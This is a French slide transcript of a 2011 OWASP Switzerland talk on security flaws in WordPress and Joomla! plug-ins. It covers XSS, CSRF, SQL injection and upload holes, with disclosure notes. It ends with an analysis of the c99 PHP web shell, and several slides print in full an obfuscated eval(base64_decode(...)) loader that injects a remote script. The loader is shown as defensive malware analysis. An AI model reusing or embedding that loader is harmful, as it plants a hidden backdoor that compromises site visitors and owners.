La présentation est en train de télécharger. S'il vous plaît, attendez

La présentation est en train de télécharger. S'il vous plaît, attendez

Chapter meeting 17 février HEIG-VD Yverdon-Les-Bains 0-days: le diable se cache dans les plug-ins Durée: 45 minutes Flora Bottaccio, Sebastien Andrivet.

Présentations similaires


Présentation au sujet: "Chapter meeting 17 février HEIG-VD Yverdon-Les-Bains 0-days: le diable se cache dans les plug-ins Durée: 45 minutes Flora Bottaccio, Sebastien Andrivet."— Transcription de la présentation:

1 Chapter meeting 17 février HEIG-VD Yverdon-Les-Bains 0-days: le diable se cache dans les plug-ins Durée: 45 minutes Flora Bottaccio, Sebastien Andrivet ADVtools SARL (Genève, Suisse)

2 Qui sommes-nous? Flora Bottaccio Analyste sécurité (ADVtools) Sebastien Andrivet Directeur (ADVtools) Compétences: Tests dintrusion Audits Forensic Diagnostic de problèmes (réseau, applications, bases de données, …) Développements (cryptographie, signatures électroniques, …) 2OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

3 Agenda WordPress, Joomla! Sécurité Les plug-ins 0-days - Démos C99 Q & R 3OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

4 WordPress, Joomla! Ce sont des Content Management Systems, des systèmes de gestion de contenu Avec TYPO3, WordPress et Joomla! sont les leaders du marché des CMS open-source en Suisse Dans le monde, les leaders sont WordPress, Joomla! et Drupal Les chiffres exactes dépendent du point de vue (les plus installés, les plus utilisés, etc.) 4OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

5 Plug-ins WordPress et Joomla! sont des systèmes extensibles Certaines de ces extensions sont appelées plug-ins Ces plug-ins sont une des raisons du succès de ces CMS: on trouve facilement des plug-ins pour tout et ils sont faciles à installer Mais est-ce compatible avec la sécurité ? 5OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

6 Sécurité Le mot sécurité peut vouloir dire différentes choses Pour les fournisseurs de produits, sécurité signifie souvent gestion des utilisateurs, des rôles et des droits Ici, nous parlons plutôt dattaques, dinjections, de cross-site scripting et de cross- site request forgery 6OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

7 Joomla! CMS libre et open source (GNU GPL) PHP + MySQL Fork (évolution) du projet Mambo Très modulaire 2005: Version : Version (10 janvier): version 1.6 7OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

8 Sécurité de Joomla! Version 1.0: Quasiment rien Version 1.5: – Filtrage des données – Audit des requêtes SQL – Plus de chemin variable – Meilleure gestion des sessions (session ID) – Pas de gestion fine des accès à la base de données Version 1.6: Trop récente, pas évaluée Il existe un «Secure Coding Guideline» 8OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

9 Joomla!: Cross-Site Scripting (XSS) JRequest – Filtrage des entrées – Gestion des guillemets (magic quotes) – En lieu et place de $_GET, $_POST, $_REQUEST – Mais ne comprend pas le SQL Rien pour la partie sortie (output) Cest au développeur de penser à utiliser les bonnes méthodes 9OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

10 Joomla!: Téléchargement (upload) Le framework peut aider (un peu): – JFile:makeSafe – JPath::clean – JFile::upload Mais cest au développeur dajouter le bon code au bon endroit Il est très facile de faire des erreurs 10OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

11 Joomla!: Injections SQL JRequest ne peut pas vous aider MySQL permet les procédures stockées, mais à partir de la version 5 Joomla! nutilise ni les procédures stockées ni les requêtes paramétrées Tout le travail est laissé au développeur. A part les recommandations du Secure Coding Guide, il ny a rien. 11OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

12 Joomla!: Cross-Site Request Forgery Système de jeton Les jetons sont gérés par Joomla! mais cest au développeur dajouter le bon code au bon endroit: – echo JHTML::_( 'form.token' ); – JRequest::checkToken(); 12OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

13 Joomla! - En résumé Le Secure Coding Guide est un bon point de départ. Mais il est court, partiel et contestable sur certaines recommandations. Joomla! fournit quelques API pour sécuriser, mais rien nest automatique Quasiment rien pour linjection SQL Léquipe de Joomla! a fait un réel effort pour Joomla! lui-même. Mais quand est-il des plug- ins ? 13OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

14 WordPress CMS libre et open source (GNU GPL) PHP + MySQL Fork (évolution) du projet b2 A lorigine du service WordPress.com 14OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

15 Historique de WordPress (simplifiée) 2003: Version : 1.0 (Miles Davis), 1.2 (Charles Mindus) 2005: 1.5 (Billy Strayhorn) Fin 2005: 2.0 (Duke Elligton) 2007: 2.1 (Ella Fitzgerald ) 2008: 2.5 (Michael Brecker) 2009: 2.9 (Carmen McRae) 2010: 3.0 (Thelonious Monk) 2011: 3.1 (RC 3 sortie fin janvier) 15OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

16 Sécurité de WordPress Faille de sécurité critique corrigée le 29 décembre 2010 (version 3.0.4): XSS Pas de «Secure Coding Guide» ou équivalent OWASP peut aider (cf. références) mais reste générique A part «Security is an interesting topic», pas grand-chose sur WordPress.org La page «Data Validation» est ce qui se rapproche le plus dun «Coding Guide» 16OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

17 WordPress: Cross-Site Scripting (XSS) Entrée: – Pas grand chose Sortie: – wp_specialchars (déprécié), esc_html, esp_html_e – attribute_escape (déprécié), esc_attr, esc_attr_e – clean_url, sanitize_url (déprécié), esc_url – js_escape (déprécié), esc_js Note: exactement linverse de Joomla! (!) 17OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

18 XSS: Erreur commune Code faux: " /> Cest un attribut. Le code correct: " /> Ou mieux: " /> 18OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

19 WordPress: Téléchargement (upload) validate_file, et encore (et où est la doc ?) Sinon, rien 19OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

20 WordPress: Injections SQL intval, absint insert, update, prepare – Les données vont être modifiées (escape) pour éviter les injections SQL esc_sql, like_escape Là encore, cest linverse de Joomla! 20OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

21 WordPress: Cross-Site Request Forgery NONCE (Number used once) Les jetons sont gérés par WordPress mais cest au développeur dajouter le bon code au bon endroit: – wp_nonce_field – wp_verify_nonce – check_admin_referer 21OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

22 WordPress - En résumé Pas de Secure Coding Guide, juste quelques articles ça et là Rien nest automatique Meilleur que Joomla! contre les injections SQL Philosophie diamétralement opposée à Joomla! concernant la validation (entrée versus sortie) Quand est-il des plug-ins ? 22OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

23 En pratique: 0-days Joomla!: – CBProfileGallery (XSS) – JoomGallery (CSRF) – ProjectFork (CSRF) WordPress – UserPhoto (file injection) Ce choix de plug-ins est totalement arbitraire 23OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

24 0-day: Joomla! | CBProfileGallery 24OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

25 CBProfileGallery - XSS OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb

26 Pourquoi ? Joomla! est supposé filtrer les données (JRequest), mais ce composant est basé sur Community Builder (CB), un ensemble dextensions de Joomla! CB court-circuite totalement Joomla! et utilise ses propres méthodes: – _getReqParam (cbGetParam) au lieu de Jrequest – Filtre également, mais dans ce cas, le filtrage est déficient Le code laisse penser quune injection SQL est également possible OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb

27 OWASP Application Security Verification Standard 2009 OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb

28 OWASP Application Security Verification Standard 2009 OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb

29 OWASP Code Review Guide 2008 (1.1) «Reviewing code for cross-site scripting», page 153 et suivante To mitigate this type of vulnerability we need to perform a number of security tasks in our code: – 1. Validate data – 2. Encode unsafe output OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb

30 OWASP Testing Guide 2008 (3.0) OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb

31 0-day: Joomla! | ProjectFork 31OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

32 JoomGallery - CSRF Lattaque reste limitée dans ce cas précis: attaque uniquement sur un POST Cela ne marche pas sous IE 7/8/9, mais en général très bien sous Firefox (third-party cookies) Il y a dautres cas où lattaque est plus simple: démo suivante OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb

33 0-day: Joomla! | JoomGallery OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb

34 Attaque OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb

35 Après lattaque OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb

36 Pourquoi ? Cette attaque CSRF est cette fois sur un GET Toutes les méthodes du composant sont concernées par les attaques CSRF Le développeur a oublié le jeton (token) JRequest, par défaut, retourne indifféremment les paramètres POST et GET. Cela augmente la surface dattaque. OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb

37 OWASP Application Security Verification Standard 2009 OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb

38 OWASP Code Review Guide 2008 (1.1) […] checking if the request has a valid session cookie is not enough, we need check if a unique identifier is sent with every HTTP request sent to the application (page 163) OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb

39 0-day: WordPress | User Photo 39OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

40 Profil 40OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

41 Interception de la requête HTTP 41OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

42 Backdoor téléchargée Le composant na pas vu que ce nétait pas une image 42OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

43 Backdoor (c99 par exemple) 43OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

44 User Photo: Bonus Il y a aussi un XSS (de type 2)… 44OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

45 Est-ce que User Photo est utilisé ? 45OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

46 OWASP OWASP Testing Guide: – OWASP-DV-015 «Incubated vulnerability» OWASP Code Review Guide: – Pas explicitement abordé OWASP Application Security Verification Standard: – Pas explicitement abordé OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb

47 WordPress User Photo: – Auteur et mainteneur du composant contacté: pas de réponse – Advisory publié ce matin (17 Février 2011) Autres composants: – Pas de publication Publication 47OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

48 c99: un cheval de Troie dans la backdoor ? Pour la démo, nous avons utilisé la Backdoor bien connue c99 Il en existe de multiples versions Certaines versions sont encryptées pour éviter la détection par des Anti-Virus Mais certaines versions contiennent quelque chose de plus exotique… 48OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

49 c99 - images Ce shell PHP contient ce genre de code: "change"=> "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/ RAQEZecx9Ll/PX6/v3+/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8 AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEAAB8ALAAAAAAUABQAAAWf4 CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOCwSi UtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga 3c8JBMJaXQGBQgACHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39 QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDLzMshADs=", Cest en fait une image encodée en base64. Rien de suspect. 49OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

50 Mais… Il contient aussi (suivant les versions): $_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUo M241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaS VvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVl OSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaS U3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVl QyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNy VvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVl OCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRC V1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVl aSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaS VlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVh RSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQi U3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5 Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaS cpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydH IoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxF X18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); 50OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

51 Cryptool 2 Essayons de décoder ce code. Plutôt que de le faire à la main, utilisons Cryptool 2. Cryptool is a free, open-source e-learning application, used worldwide in the implementation and analysis of cryptographic algorithms– La version est stable, mais avec une interface à la Windows 95 et écrite en C++ Le version 2.0 est moins stable, mais plus graphique et écrite en C#/WPF 51OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

52 Exemple simple de Cryptool 52OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

53 URL Encode pour Cryptool 2 Nous allons devoir manipuler des URL (encode/decode – escape/unescape) Il ny a pas dalgorithme pour cela dans Cryptool 2 Nous avons donc créé notre propre plug-in pour Cryptool 2 Sera accessible (freeware) sur: 53OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

54 c99 $_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUo M241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaS VvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVl OSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaS U3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVl QyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNy VvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVl OCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRC V1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVl aSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaS VlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVh RSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQi U3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5 Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaS cpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydH IoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxF X18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); 54OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

55 3 lignes de code $_F=__FILE__; $_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUo M241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaS VvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVl OSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaS U3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVl QyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNy VvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVl OCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRC V1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVl aSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaS VlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVh RSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQi U3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5 Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaS cpPC9zY3I0cHQ+'; eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydH IoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxF X18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); 55OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

56 Etape #1 eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydH IoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxF X18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); 56OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

57 Etape #2 57OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

58 Etape #3 César !!! 58OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

59 Etape #4 59OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

60 Résultat Ce code est donc finalement: Une inclusion de script, léquivalent dun XSS Cette adresse ne répond plus depuis un moment (404) On retrouve cette URL pour plusieurs shells (benladen shell, …) Un mouchard ? 60OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

61 Joomla! et WordPress ne suivent que partiellement les recommandations telles que celles dOWASP. Ils ont une approche parfois opposée. Tout le travail est laissé aux bons soins des développeurs. Concernant les plug-ins, cest la roulette russe. Conclusion 61OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

62 Références Rapport Décembre 2010 de netobservatory.ch: Water and Stone 2010 Open Source CMS Market Share Report Wordpress Exploit Scanner Secure Coding with WordPress wordcamp-sf-2008-presentation (attention, recommande des fonctions dépréciées) wordcamp-sf-2008-presentation WordPress Data Validation Joomla! Secure Code Guidelines Hardening WordPress 62OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

63 Références OWASP A Guide to Building Secure Web Applications and Web Services (2005) f f OWASP Application Security Verification Standard 2009 – Web Application Standard OWASP Code Review Guide 2008 v1.1 OWASP Testing Guide 2008 v3.0 OWASP Top Edition Cryptool 63OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

64 Questions? 64 © flickr.com/people/eleaf OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011

65 Merci! Pour nous contacter: 65 OWASP Switzerland – Geneva Chapter HEIG-VD (Yverdon-Les-Bains) – Feb.2011


Télécharger ppt "Chapter meeting 17 février HEIG-VD Yverdon-Les-Bains 0-days: le diable se cache dans les plug-ins Durée: 45 minutes Flora Bottaccio, Sebastien Andrivet."

Présentations similaires


Annonces Google